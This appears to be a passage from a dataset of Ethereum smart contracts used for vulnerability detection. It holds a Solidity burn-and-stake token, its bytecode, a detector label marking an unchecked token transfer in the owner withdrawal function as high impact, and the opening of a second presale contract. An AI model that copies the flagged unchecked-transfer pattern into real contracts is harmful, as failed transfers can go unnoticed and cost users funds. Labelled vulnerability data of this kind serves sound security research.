function transferFrom(address from, address to, uint256 value) public returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_executeTransfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
{
_allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 value) internal
{
require(value != 0);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.add(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.add(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(address(0), account, value);
}
function burn(uint256 value) external
{
_burn(msg.sender, value);
}
function burnFrom(address account, uint256 value) external
{
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
}
function _burn(address account, uint256 value) internal
{
require(value != 0);
require(value <= _balances[account]);
uint256 initalBalance = _balances[account];
uint256 newBalance = initalBalance.sub(value);
_balances[account] = newBalance;
_totalSupply = _totalSupply.sub(value);
//update full units staked
if(!excludedFromStaking[account])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance));
fus_total = fus_total.add(toFullUnits(newBalance));
fullUnitsStaked_total = fus_total;
}
emit Transfer(account, address(0), value);
}
/*
* transfer with additional burn and stake rewards
* the receiver gets 94% of the sent value
* 6% are split to be burnt and distributed to holders
*/
function _executeTransfer(address from, address to, uint256 value) private
{
require(value <= _balances[from]);
require(to != address(0) && to != address(this));
//Update sender and receivers rewards - changing balances will change rewards shares
updateRewardsFor(from);
updateRewardsFor(to);
uint256 sixPercent = value.mul(6).div(100);
//set a minimum burn rate to prevent no-burn-txs due to precision loss
if(sixPercent == 0 && value > 0)
sixPercent = 1;
uint256 initalBalance_from = _balances[from];
uint256 newBalance_from = initalBalance_from.sub(value);
value = value.sub(sixPercent);
uint256 initalBalance_to = _balances[to];
uint256 newBalance_to = initalBalance_to.add(value);
//transfer
_balances[from] = newBalance_from;
_balances[to] = newBalance_to;
emit Transfer(from, to, value);
//update full units staked
uint256 fus_total = fullUnitsStaked_total;
if(!excludedFromStaking[from])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_from));
fus_total = fus_total.add(toFullUnits(newBalance_from));
}
if(!excludedFromStaking[to])
{
fus_total = fus_total.sub(toFullUnits(initalBalance_to));
fus_total = fus_total.add(toFullUnits(newBalance_to));
}
fullUnitsStaked_total = fus_total;
uint256 amountToBurn = sixPercent;
if(fus_total > 0)
{
uint256 stakingRewards = sixPercent.div(2);
//split up to rewards per unit in stake
uint256 rewardsPerUnit = stakingRewards.div(fus_total);
//apply rewards
_totalRewardsPerUnit = _totalRewardsPerUnit.add(rewardsPerUnit);
_balances[address(this)] = _balances[address(this)].add(stakingRewards);
emit Transfer(msg.sender, address(this), stakingRewards);
amountToBurn = amountToBurn.sub(stakingRewards);
}
//update total supply
_totalSupply = _totalSupply.sub(amountToBurn);
emit Transfer(msg.sender, address(0), amountToBurn);
}
//catch up with the current total rewards. This needs to be done before an addresses balance is changed
function updateRewardsFor(address staker) private
{
_savedRewards[staker] = viewUnpaidRewards(staker);
_totalRewardsPerUnit_positions[staker] = _totalRewardsPerUnit;
}
//get all rewards that have not been claimed yet
function viewUnpaidRewards(address staker) public view returns (uint256)
{
if(excludedFromStaking[staker])
return _savedRewards[staker];
uint256 newRewardsPerUnit = _totalRewardsPerUnit.sub(_totalRewardsPerUnit_positions[staker]);
uint256 newRewards = newRewardsPerUnit.mul(fullUnitsStaked(staker));
return _savedRewards[staker].add(newRewards);
}
//pay out unclaimed rewards
function payoutRewards() public
{
updateRewardsFor(msg.sender);
uint256 rewards = _savedRewards[msg.sender];
require(rewards > 0 && rewards <= _balances[address(this)]);
_savedRewards[msg.sender] = 0;
uint256 initalBalance_staker = _balances[msg.sender];
uint256 newBalance_staker = initalBalance_staker.add(rewards);
//update full units staked
if(!excludedFromStaking[msg.sender])
{
uint256 fus_total = fullUnitsStaked_total;
fus_total = fus_total.sub(toFullUnits(initalBalance_staker));
fus_total = fus_total.add(toFullUnits(newBalance_staker));
fullUnitsStaked_total = fus_total;
}
//transfer
_balances[address(this)] = _balances[address(this)].sub(rewards);
_balances[msg.sender] = newBalance_staker;
emit Transfer(address(this), msg.sender, rewards);
}
//exchanges or other contracts can be excluded from receiving stake rewards
function excludeAddressFromStaking(address excludeAddress, bool exclude) public
{
require(msg.sender == contractOwner);
require(excludeAddress != address(this)); //contract may never be included
require(exclude != excludedFromStaking[excludeAddress]);
updateRewardsFor(excludeAddress);
excludedFromStaking[excludeAddress] = exclude;
fullUnitsStaked_total = exclude ? fullUnitsStaked_total.sub(fullUnitsStaked(excludeAddress)) : fullUnitsStaked_total.add(fullUnitsStaked(excludeAddress));
}
//withdraw tokens that were sent to this contract by accident
function withdrawERC20Tokens(address tokenAddress, uint256 amount) public
{
require(msg.sender == contractOwner);
require(tokenAddress != address(this));
IERC20(tokenAddress).transfer(msg.sender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de578063b1369e6a11610097578063dd62ed3e11610071578063dd62ed3e146109b3578063e1eae0b414610a2b578063e49cb2fb14610a83578063f2fde38b14610ad157610173565b8063b1369e6a1461082a578063cae9ca511461086c578063ce606ee01461096957610173565b806370a08231146105e55780637964dd2b1461063d57806379cc67901461068d57806395d89b41146106db578063a457c2d71461075e578063a9059cbb146107c457610173565b806323b872dd1161013057806323b872dd1461047f5780632961308614610505578063313ce5671461050f578063395093511461053357806342966c68146105995780634b56c39e146105c757610173565b806306fdde0314610178578063095ea7b3146101fb5780630ccaa97e1461026157806318160ddd146102bd5780631e89d545146102db578063223d041714610427575b600080fd5b610180610b15565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c05780820151818401526020810190506101a5565b50505050905090810190601f1680156101ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102476004803603604081101561021157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb7565b604051808215151515815260200191505060405180910390f35b6102a36004803603602081101561027757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce2565b604051808215151515815260200191505060405180910390f35b6102c5610d02565b6040518082815260200191505060405180910390f35b610425600480360360408110156102f157600080fd5b810190808035906020019064010000000081111561030e57600080fd5b82018360208201111561032057600080fd5b8035906020019184602083028401116401000000008311171561034257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156103a257600080fd5b8201836020820111156103b457600080fd5b803590602001918460208302840111640100000000831117156103d657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d0c565b005b6104696004803603602081101561043d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6c565b6040518082815260200191505060405180910390f35b6104eb6004803603606081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eda565b604051808215151515815260200191505060405180910390f35b61050d61108a565b005b6105176113ad565b604051808260ff1660ff16815260200191505060405180910390f35b61057f6004803603604081101561054957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c4565b604051808215151515815260200191505060405180910390f35b6105c5600480360360208110156105af57600080fd5b81019080803590602001909291905050506115f9565b005b6105cf611606565b6040518082815260200191505060405180910390f35b610627600480360360208110156105fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061160c565b6040518082815260200191505060405180910390f35b61068b6004803603604081101561065357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611655565b005b6106d9600480360360408110156106a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117f4565b005b6106e361199a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610723578082015181840152602081019050610708565b50505050905090810190601f1680156107505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107aa6004803603604081101561077457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a3c565b604051808215151515815260200191505060405180910390f35b610810600480360360408110156107da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c71565b604051808215151515815260200191505060405180910390f35b6108566004803603602081101561084057600080fd5b8101908080359060200190929190505050611c88565b6040518082815260200191505060405180910390f35b61094f6004803603606081101561088257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156108c957600080fd5b8201836020820111156108db57600080fd5b803590602001918460018302840111640100000000831117156108fd57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611cab565b604051808215151515815260200191505060405180910390f35b610971611ede565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a15600480360360408110156109c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f04565b6040518082815260200191505060405180910390f35b610a6d60048036036020811015610a4157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f8b565b6040518082815260200191505060405180910390f35b610acf60048036036040811015610a9957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611fdc565b005b610b1360048036036020811015610ae757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612136565b005b606060008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bad5780601f10610b8257610100808354040283529160200191610bad565b820191906000526020600020905b815481529060010190602001808311610b9057829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bf257600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600554905090565b8051825114610d1a57600080fd5b60008090505b8251811015610d6757610d5a33848381518110610d3957fe5b6020026020010151848481518110610d4d57fe5b602002602001015161228a565b8080600101915050610d20565b505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e0757600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ed5565b6000610e5d600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460095461287490919063ffffffff16565b90506000610e7c610e6d85611f8b565b8361288b90919063ffffffff16565b9050610ed081600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c290919063ffffffff16565b925050505b919050565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610f6557600080fd5b610ff482600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061107f84848461228a565b600190509392505050565b611093336128de565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811180156111265750600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111155b61112f57600080fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006111cd83836128c290919063ffffffff16565b9050600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661126a576000600754905061124261123384611c88565b8261287490919063ffffffff16565b905061125f61125083611c88565b826128c290919063ffffffff16565b905080600781905550505b6112bc83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287490919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050565b6000600260009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113ff57600080fd5b61148e82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c290919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6116033382612973565b50565b60075481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116af57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e857600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515811515141561174557600080fd5b61174e826128de565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806117cc576117c76117b683611f8b565b6007546128c290919063ffffffff16565b6117ea565b6117e96117d883611f8b565b60075461287490919063ffffffff16565b5b6007819055505050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561187d57600080fd5b61190c81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287490919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119968282612973565b5050565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a325780601f10611a0757610100808354040283529160200191611a32565b820191906000526020600020905b815481529060010190602001808311611a1557829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a7757600080fd5b611b0682600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287490919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000611c7e33848461228a565b6001905092915050565b6000611ca4601260ff16600a0a83612b8e90919063ffffffff16565b9050919050565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611e6c578082015181840152602081019050611e51565b50505050905090810190601f168015611e995780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611ebb57600080fd5b505af1158015611ecf573d6000803e3d6000fd5b50505050600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000611fd5600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c88565b9050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461203657600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561206f57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156120f657600080fd5b505af115801561210a573d6000803e3d6000fd5b505050506040513d602081101561212057600080fd5b8101908080519060200190929190505050505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461219057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121ca57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156122d657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561233f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61234857600080fd5b612351836128de565b61235a826128de565b6000612383606461237560068561288b90919063ffffffff16565b612b8e90919063ffffffff16565b90506000811480156123955750600082115b1561239f57600190505b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006123f8848361287490919063ffffffff16565b905061240d838561287490919063ffffffff16565b93506000600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061246886836128c290919063ffffffff16565b905082600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a360006007549050600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166125ea576125ca6125bb86611c88565b8261287490919063ffffffff16565b90506125e76125d885611c88565b826128c290919063ffffffff16565b90505b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166126765761265661264784611c88565b8261287490919063ffffffff16565b905061267361266483611c88565b826128c290919063ffffffff16565b90505b80600781905550600086905060008211156127e75760006126a1600289612b8e90919063ffffffff16565b905060006126b88483612b8e90919063ffffffff16565b90506126cf816009546128c290919063ffffffff16565b60098190555061272782600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36127e2828461287490919063ffffffff16565b925050505b6127fc8160055461287490919063ffffffff16565b600581905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505050505050505050565b60008282111561288057fe5b818303905092915050565b60008083141561289e57600090506128bc565b60008284029050828482816128af57fe5b04146128b757fe5b809150505b92915050565b6000808284019050838110156128d457fe5b8091505092915050565b6128e781610d6c565b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600081141561298157600080fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156129cd57600080fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000612a26838361287490919063ffffffff16565b905080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a818360055461287490919063ffffffff16565b600581905550600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612b225760006007549050612afa612aeb84611c88565b8261287490919063ffffffff16565b9050612b17612b0883611c88565b826128c290919063ffffffff16565b905080600781905550505b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b600080828481612b9a57fe5b049050809150509291505056fea165627a7a72305820c8faba3111dfb8a6443e9087dc9be754ac526b7ad9adab5d52d6e41db75d69630029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 2,456 |
0xa54ca04ed24ae2d9b94931a7004c3405afdc08d8
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// CompositeCoin Presale. version 1.0
//
// Enjoy. (c) Slava Brall / Begemot-Begemot Ltd 2017. The MIT Licence.
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
